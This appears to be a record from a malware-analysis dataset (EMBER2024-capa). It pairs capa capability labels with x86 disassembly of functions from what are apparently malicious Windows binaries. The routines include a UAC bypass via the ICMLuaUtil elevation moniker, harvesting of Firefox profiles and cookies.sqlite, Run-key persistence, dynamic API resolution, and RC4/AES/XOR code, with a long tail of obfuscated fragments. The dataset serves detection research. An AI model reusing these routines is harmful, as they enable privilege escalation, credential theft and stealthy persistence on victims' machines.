joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414c0e
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040fb2d
xor ebx, ebx
cmp dword [0x420e68], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x414ce4
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x414dc4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41a338
push edi
call esi
cmp eax, ebx
je 0x414dc4
push eax
call fcn.0040fabf
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x420e68], eax
call esi
push eax
call fcn.0040fabf
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x420e6c], eax
call esi
push eax
call fcn.0040fabf
mov dword [0x420e70], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0040ec44
test eax, eax
pop ecx
pop ecx
je 0x414cb2
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040baca
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x414ce4
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040fabf
cmp eax, ebx
pop ecx
mov dword [0x420e78], eax
je 0x414ce4
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040fabf
pop ecx
mov dword [0x420e74], eax
mov eax, dword [0x420e74]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x414d69
cmp dword [0x420e78], ecx
je 0x414d69
push eax
call fcn.0040fb36
push dword [0x420e78]
mov esi, eax
call fcn.0040fb36
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x414d69
cmp edi, ebx
je 0x414d69
call esi
cmp eax, ebx
je 0x414d36
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x414d36
test byte [ebp - 0x18], 1
jne 0x414d69
lea eax, [ebp - 0x10]
push eax
call fcn.0040ec7b
test eax, eax
pop ecx
je 0x414d51
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040baca
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x414d60
or dword [ebp + 0x10], 0x200000
jmp 0x414da4
or dword [ebp + 0x10], 0x40000
jmp 0x414da4
mov eax, dword [0x420e6c]
cmp eax, dword [ebp - 8]
je 0x414da4
push eax
call fcn.0040fb36
cmp eax, ebx
pop ecx
je 0x414da4
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x414da4
mov eax, dword [0x420e70]
cmp eax, dword [ebp - 8]
je 0x414da4
push eax
call fcn.0040fb36
cmp eax, ebx
pop ecx
je 0x414da4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x420e68]
call fcn.0040fb36
cmp eax, ebx
pop ecx
je 0x414dc4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x414dc6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41891f
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
mov ecx, dword ds:[eax + 0x3c]
mov edx, eax
push dword ds:[ecx + edx + 0x78]
push edx
pop edx
pop eax
add eax, edx
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0
jmp 0x41894d
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 8]
cmp edx, dword [ecx + 0x18]
jae 0x418a00
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x20]
add ecx, dword [ebp + 8]
mov edx, dword [ebp - 8]
mov eax, dword [ecx + edx*4]
add eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
mov cl, byte [eax]
mov byte [ebp - 0x19], cl
mov edx, dword [ebp - 0x14]
cmp cl, byte [edx]
jne 0x4189ba
cmp byte [ebp - 0x19], 0
je 0x4189b1
mov eax, dword [ebp - 0x18]
mov cl, byte [eax + 1]
mov byte [ebp - 0x1a], cl
mov edx, dword [ebp - 0x14]
cmp cl, byte [edx + 1]
jne 0x4189ba
add dword [ebp - 0x18], 2
add dword [ebp - 0x14], 2
cmp byte [ebp - 0x1a], 0
jne 0x41897d
mov dword [ebp - 0x20], 0
jmp 0x4189c2
sbb eax, eax
sbb eax, 0xffffffff
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x24], ecx
cmp dword [ebp - 0x24], 0
jne 0x4189fb
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x24]
add eax, dword [ebp + 8]
mov ecx, dword [ebp - 8]
mov dx, word [eax + ecx*2]
mov word [ebp - 0x10], dx
mov eax, dword [ebp - 4]
mov ecx, dword ds:[eax + 0x1c]
add ecx, dword [ebp + 8]
movzx edx, word [ebp - 0x10]
mov eax, dword ds:[ecx + edx*4]
add eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret
jmp 0x418944
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401460
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, ecx
shl eax, 4
lea esi, [eax + ebp + 0x3c]
xor eax, eax
lea edx, [edi + ebp]
mov cl, byte [esi + eax]
mov bl, byte [edx]
xor bl, cl
inc eax
mov byte [edx], bl
add edx, 4
cmp eax, 4
jl 0x401478
inc edi
add esi, 4
cmp edi, 4
jl 0x401473
pop edi
pop esi
pop ebp
pop ebx
ret 4

Function at 0x4014a0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push esi
push edi
mov edi, ecx
xor esi, esi
lea eax, [esi + edi]
mov edx, 4
xor ecx, ecx
mov cl, byte [eax]
add eax, 4
dec edx
mov cl, byte [ecx + 0x419020]
mov byte [eax - 4], cl
jne 0x4014ae
inc esi
cmp esi, 4
jl 0x4014a6
pop edi
pop esi
ret

Function at 0x4014d0
Capabilities:
Encrypt data using aes
Reference aes constants

Disassembly:
push esi
push edi
mov edi, ecx
xor esi, esi
lea eax, [esi + edi]
mov edx, 4
xor ecx, ecx
mov cl, byte [eax]
add eax, 4
dec edx
mov cl, byte [ecx + 0x419120]
mov byte [eax - 4], cl
jne 0x4014de
inc esi
cmp esi, 4
jl 0x4014d6
pop edi
pop esi
ret

Function at 0x401660
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov esi, ecx
xor ebp, ebp
mov ecx, esi
lea edx, [esp + 0x18]
lea eax, [esp + ebp + 0x18]
sub ecx, edx
mov edi, 4
mov dl, byte [ecx + eax]
mov byte [eax], dl
add eax, 4
dec edi
jne 0x40167c
inc ebp
cmp ebp, 4
jl 0x40166b
mov eax, 0xfffffffc
lea edi, [esp + 0x20]
sub eax, esi
lea ebp, [esi + 4]
mov dword [esp + 0x14], eax
mov al, byte [edi - 8]
mov bl, byte [edi - 4]
push eax
mov ecx, esi
call fcn.004018e0
mov dl, al
push ebx
mov ecx, esi
mov bl, dl
call fcn.00401900
mov ecx, esi
xor bl, al
mov al, byte [edi + 4]
push eax
call fcn.004018d0
xor bl, al
mov al, byte [edi]
push eax
mov ecx, esi
call fcn.004018d0
xor bl, al
mov al, byte [edi - 8]
push eax
mov ecx, esi
mov byte [ebp - 4], bl
call fcn.004018d0
mov bl, al
mov al, byte [edi - 4]
push eax
mov ecx, esi
call fcn.004018e0
xor bl, al
mov al, byte [edi + 4]
push eax
mov ecx, esi
call fcn.004018d0
xor bl, al
mov al, byte [edi]
push eax
mov ecx, esi
call fcn.00401900
xor bl, al
mov al, byte [edi - 8]
push eax
mov ecx, esi
mov byte [ebp], bl
call fcn.004018d0
mov bl, al
mov al, byte [edi - 4]
push eax
mov ecx, esi
call fcn.004018d0
xor bl, al
mov al, byte [edi + 4]
push eax
mov ecx, esi
call fcn.00401900
xor bl, al
mov al, byte [edi]
push eax
mov ecx, esi
call fcn.004018e0
xor bl, al
mov al, byte [edi - 8]
push eax
mov ecx, esi
mov byte [ebp + 4], bl
call fcn.00401900
mov bl, al
mov al, byte [edi - 4]
push eax
mov ecx, esi
call fcn.004018d0
xor bl, al
mov al, byte [edi + 4]
push eax
mov ecx, esi
call fcn.004018e0
xor bl, al
mov al, byte [edi]
push eax
mov ecx, esi
call fcn.004018d0
xor bl, al
mov eax, dword [esp + 0x14]
mov byte [ebp + 8], bl
inc ebp
add eax, ebp
inc edi
cmp eax, 4
jl 0x40169f
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x4017a0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
mov esi, ecx
mov eax, esi
push edi
lea edi, [esp + 0x20]
lea ebp, [esi + 4]
mov ecx, dword [eax]
mov dword [esp + 0x18], ecx
mov edx, dword [eax + 4]
mov dword [esp + 0x1c], edx
mov ecx, dword [eax + 8]
mov dword [esp + 0x20], ecx
mov edx, dword [eax + 0xc]
mov eax, 0xfffffffc
sub eax, esi
mov dword [esp + 0x24], edx
mov dword [esp + 0x14], eax
mov al, byte [edi - 8]
mov bl, byte [edi - 4]
push eax
mov ecx, esi
call fcn.004019d0
mov dl, al
push ebx
mov ecx, esi
mov bl, dl
call fcn.00401950
mov ecx, esi
xor bl, al
mov al, byte [edi + 4]
push eax
call fcn.00401920
xor bl, al
mov al, byte [edi]
push eax
mov ecx, esi
call fcn.00401990
xor bl, al
mov al, byte [edi - 8]
push eax
mov ecx, esi
mov byte [ebp - 4], bl
call fcn.00401920
mov bl, al
mov al, byte [edi - 4]
push eax
mov ecx, esi
call fcn.004019d0
xor bl, al
mov al, byte [edi + 4]
push eax
mov ecx, esi
call fcn.00401990
xor bl, al
mov al, byte [edi]
push eax
mov ecx, esi
call fcn.00401950
xor bl, al
mov al, byte [edi - 8]
push eax
mov ecx, esi
mov byte [ebp], bl
call fcn.00401990
mov bl, al
mov al, byte [edi - 4]
push eax
mov ecx, esi
call fcn.00401920
xor bl, al
mov al, byte [edi + 4]
push eax
mov ecx, esi
call fcn.00401950
xor bl, al
mov al, byte [edi]
push eax
mov ecx, esi
call fcn.004019d0
xor bl, al
mov al, byte [edi - 8]
push eax
mov ecx, esi
mov byte [ebp + 4], bl
call fcn.00401950
mov bl, al
mov al, byte [edi - 4]
push eax
mov ecx, esi
call fcn.00401990
xor bl, al
mov al, byte [edi + 4]
push eax
mov ecx, esi
call fcn.004019d0
xor bl, al
mov al, byte [edi]
push eax
mov ecx, esi
call fcn.00401920
xor bl, al
mov eax, dword [esp + 0x14]
mov byte [ebp + 8], bl
inc ebp
add eax, ebp
inc edi
cmp eax, 4
jl 0x4017d8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x18
ret
Function at 0x40f600
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
cmp eax, ecx
jne 0x40f612
mov eax, 1
ret 4
mov dword [eax + 0x14], ecx
mov dword [eax + 0x18], ecx
mov dword [eax + 0x1c], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
mov dword [eax + 0x60], ecx
mov dword [eax + 0x64], ecx
xor eax, eax
ret 4
Function at 0x406ccd
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x46d290]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x406cd7
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x406d1d
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x406cfc
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x406d3c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.00436910
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x406dcc
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x406d82
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x406d98
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x406dbf
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x406d71
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x4074fd
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push edi
push str.___ucmAllocateElevatedObject_n
call fcn.00407200
and dword [ebp - 4], 0
mov edi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
push edi
mov esi, 0x80004005
call fcn.0043bad6
pop ecx
pop ecx
cmp eax, 0x40
ja 0x4075a0
lea ecx, [ebp - 0x28]
call fcn.00407190
lea eax, [ebp - 0x230]
mov dword [ebp - 0x28], 0x24
push str.Elevation:Administrator_new:
push eax
mov dword [ebp - 0x14], 4
call fcn.0043f809
lea eax, [ebp - 0x230]
push edi
push eax
call fcn.0043f82b
push str.___CoGetObject_n
call fcn.00407200
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x466518
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [0x4594e8]
mov esi, eax
test esi, esi
je 0x407595
push str.____CoGetObject_FAILURE_n
jmp 0x40759a
push str.___CoGetObject_SUCCESS_n
call fcn.00407200
pop ecx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
pop edi
mov dword [ecx], eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40bd37
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.004020df
lea ecx, [ebp - 0x18]
call fcn.004020df
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00402093
push eax
push 0x4669b4
call fcn.0043c0da
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.004052fd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x60]
call fcn.00401fd8
lea eax, [ebp - 0x1b8]
push eax
push 0x466974
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.00406c1e
pop ecx
mov ecx, eax
call fcn.00401fab
push eax
call dword [0x459194]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00401fd8
cmp esi, 0xffffffff
jne 0x40be81
push esi
call dword [0x459294]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
jmp 0x40beb5
test byte [ebp - 0x1b8], 0x10
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466ad4
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466ad8
push eax
call fcn.0043fd00
pop ecx
pop ecx
test eax, eax
je 0x40be81
lea eax, [ebp - 0x18c]
push 0x466b3c
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.00406c1e
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00406383
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00401fe2
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x78]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fab
push eax
call dword [0x459288]
test eax, eax
jne 0x40beda
call dword [0x459268]
dec eax
sub eax, 1
jne 0x40becf
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [0x4590b4]
test eax, eax
jne 0x40bdeb
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00402093
call fcn.0040c1d8
add esp, 0x18
push esi
call dword [0x459294]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00401fd8
lea ecx, [ebp - 0x30]
call fcn.00401fd8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [0x459294]
xor bl, bl
jmp 0x40beb7
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x40bdd9
Function at 0x40c34d
Capabilities:
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.0043c0cf
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0040417e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.00409052
lea eax, [ebp - 0x2e0]
push eax
push 0x4665e8
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.0040915b
pop ecx
mov ecx, eax
call fcn.00401f04
push eax
call dword [0x4592a8]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00401f09
cmp edi, 0xffffffff
jne 0x40c3c1
push 0x466468
mov ecx, esi
call fcn.0040417e
jmp 0x40c497
lea ecx, [ebp - 0x48]
call fcn.004020df
jmp 0x40c466
test byte [ebp - 0x2e0], 0x10
je 0x40c466
lea eax, [ebp - 0x2b4]
push 0x466528
push eax
call fcn.0043f954
pop ecx
pop ecx
test eax, eax
je 0x40c466
lea eax, [ebp - 0x2b4]
push 0x46660c
push eax
call fcn.0043f954
pop ecx
pop ecx
test eax, eax
je 0x40c466
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0040417e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0040915b
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00402fa5
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00401f09
lea ecx, [ebp - 0x90]
call fcn.00401f09
lea ecx, [ebp - 0x30]
call fcn.00401f04
push eax
call dword [0x459370]
test eax, eax
jne 0x40c4a7
lea ecx, [ebp - 0x30]
call fcn.00401f09
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [0x4592a0]
test eax, eax
jne 0x40c3ce
push edi
call dword [0x459294]
push 0x466468
mov ecx, esi
call fcn.0040417e
lea ecx, [ebp - 0x48]
call fcn.00401fd8
lea ecx, [ebp - 0x18]
call fcn.00401f09
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [0x459294]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00403262
lea ecx, [ebp - 0x30]
call fcn.00401f09
jmp 0x40c48f

Function at 0x40cd0d
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x24
cmp byte [0x472b33], 1
push ebx
mov bh, byte [0x472b31]
mov bl, byte [0x472b30]
push ebp
push esi
push edi
mov edi, 0x465e74
mov ebp, 0x4752d8
jne 0x40cd6f
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b97c
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, 0x80000001
call fcn.00413814
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
cmp bl, 1
jne 0x40cdb0
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b97c
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, 0x80000002
call fcn.00413814
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
cmp bh, 1
jne 0x40cdf1
sub esp, 0x1c
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0040b97c
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00403014
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, 0x80000002
call fcn.00413814
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00401f09
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x94bd45
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea esp, [esp + 0x10]
jmp fcn.00e2b2e5

Function at 0x94bd5c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea esp, [esp + 0xc]
jmp fcn.00e2b2e5

Function at 0x94ea94
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea esp, [esp + 0x1c]
jmp fcn.00e2b2e5

Function at 0x94f2b1
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [esi], eax
push 0xbba33491
jmp 0xe5815b
lea esp, [esp + 0x10]
jmp fcn.00e2b2e5

Function at 0x952ec2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea esp, [esp + 0x18]
jmp fcn.00e2b2e5

Function at 0x9533cf
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edx, dword [esi + ebp*4 - 0x2cf07cc0]
lea esi, [ebp + esi - 0xb3c1f2c]
mov dword [esp + ebp*4 - 0x2cf07cc0], 0x62ac462d
mov ebp, edx
pop edi
jmp 0xe2b2d0

Function at 0x954cba
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push 0x458007bd
mov dword [esi], edi
jmp 0x95925d
push 0x781382b7
jmp 0xe4cd41
lea esp, [esp + 0x14]
jmp fcn.00e2b2e5

Function at 0x95511b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push 0x3c3adf1d
lea esp, [esp + 0x14]
jmp fcn.00e2b2e5

Function at 0x95ed21
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sal eax, cl
mov dword [esi], eax
push 0xd5a765b9
push 0x3f1eedaa
lea esp, [esp + 0x10]
jmp fcn.00e2b2e5

Function at 0x95ee21
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea esp, [esp + 0x10]
jmp fcn.00e2b2e5

Function at 0x96213c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea esp, [esp + 0x14]
jmp fcn.00e2b2e5

Function at 0x96338e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
adc cl, byte [esi + 2]
mov dword [esp], 0x1c84a7b1
add esi, 2
inc dword [esp]
add al, cl
mov word [esi], ax
lea esp, [esp + 4]
jmp fcn.00e2b2e5

Function at 0x96453d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push 0xf385fc8e
mov dword [esi], edi
lea esp, [esp + 0x14]
jmp fcn.00e2b2e5

Function at 0x965565
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov dword [esp], 0xfe9ed7ab
adc esi, 8
mov dword ss:[ecx], edi
jmp 0xe1792e
lea esp, [esp + 4]
jmp fcn.00e2b2e5

Function at 0x96a126
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push 0x12ab5283
lea esp, [esp + 0x1c]
jmp fcn.00e2b2e5

Function at 0x97975c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea esp, [esp + 0x18]
jmp fcn.00e2b2e5

Function at 0x9797ab
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov word [esi], ax
lea esp, [esp + 0xc]
jmp fcn.00e2b2e5

Function at 0x9798b6
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push 0x9a3ccb90
mov word [esi], dx
mov dword [esp + 4], 0x9282c50f
lea esp, [esp + 0x10]
jmp fcn.00e2b2e5

Function at 0x982825
Capabilities:
Encrypt data using rc4 prga

Disassembly:
adc esi, 2
mov dword [esp + 4], 0x7a90b486
dec word [esp + 6]
shr cx, 1
jmp 0xee80fc
rcr eax, cl
mov dword [esi], eax
lea esp, [esp + 8]
jmp fcn.00e2b2e5

Function at 0x984c0f
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov word [esi], di
push 0xa6173b80
lea esp, [esp + 0xc]
jmp fcn.00e2b2e5
Function at 0x986f12
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea esp, [esp + 0xc]
jmp fcn.00e2b2e5

Function at 0x9887f8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
lea esp, [esp + 4]
jmp fcn.00e2b2e5

Function at 0x98f610
Capabilities:
Encrypt data using rc4 prga

Disassembly:
jmp 0xec224a
lea esp, [esp + 0xc]
jmp fcn.00e2b2e5

Function at 0x9934cd
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
add byte [ecx + 0x50], al
inc ecx
push eax
dec eax
mov dword [esp + 8], 0x8a6c5ae0
dec eax
lea esp, [esp + 8]
call fcn.00e44487
inc esp
movzx ebp, byte [esi]
dec eax
mov dword [esp], 0xb827427
jge 0xf41776
call fcn.009a4b2e
movzx edx, byte [esi]
mov ecx, 0x9a07bebd
bswap ecx
add esi, 1
ror cl, 0x61
lea ecx, [ecx + 0x29851d9c]
xor dl, bl
xor dl, 0x94
ror dl, 1
call fcn.00f796b3
je 0x993538
movsd dword es:[edi], dword [esi]
out dx, eax
sub al, 0xe0
jo 0x99359a
popal
dec edx
popfd
xor dword [eax - 0x6ff1b40f], 0x8d762ed2
push cs
nop
shr byte [esi], cl
jbe 0x9934cb
dec byte [esp + edi*4 + 0x6a]
inc esp
lea esp, [eax + 0x5a18ea6e]
mov ecx, dword [esi - 0x2c9db7c6]
push ebx
xchg ebp, eax
inc ebp
xchg ebp, eax
push edi
mov word [ebp + 0x573f042a], cs
sbb eax, 0xa54231e9
shr al, cl
stosb byte es:[edi], al
cmpsd dword [esi], dword es:[edi]
or byte fs:[ecx], bh
mov eax, dword [0x36d8b451]
xchg ecx, eax
mov eax, dword [0xa9992bc4]
salc
mov ebp, 0x20153ffd
pop ebp
xor al, 0x38
cdq
test eax, 0x3ffdbdd6
adc eax, 0x38345d20
pop eax
push esp
or eax, 0xfdb51fd1
or dword [edi + 0x69], 0x3eb96652
fsub qword [edi + 0x612b04db]
ret 0xa009
mul ebx
mov ah, 0xf0
imul ebp, dword [eax + 0x22f454b6], 0xe3ae815e
xor bl, byte [esi]
scasb al, byte es:[edi]
jecxz 0x9935db
push ds
dec ebx
mov dword [0x5fc70187], eax
in eax, dx
xchg ebp, eax
and dword [ebx + esi + 0x68], edx
clc
jnp 0x9935a6
xchg dword [eax], ebp
movsb byte es:[edi], byte [esi]
mov dword [0xa3c294c4], eax
sub byte [ebx - 0x5c3d6b3c], ah
xor byte [edi - 7], dh
pop esi
push edx
and ebp, dword [eax + 0x20]
jns 0x993570
stosb byte es:[edi], al
inc ebx
or edx, dword [esi + ecx + 0x3aaf8969]
cmpsd dword [esi], dword es:[edi]
scasd eax, dword es:[edi]
fld qword [esi + 0x14717886]
call 0xa7bf7253
adc al, 0xe8
jb 0x99361b
cmpsd dword es:[esi], dword es:[edi]
xchg esp, eax
xor dl, byte cs:[eax + 0x2f]
dec edx
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
mov edi, 0xb7cb3504
das
mov dl, 0x4d
xor eax, dword [edi + 0x16b81873]
pop es
mov esp, 0x85e28283
jle 0x9935ba
aaa
mov ch, 0x12
retf 0x6413
invalid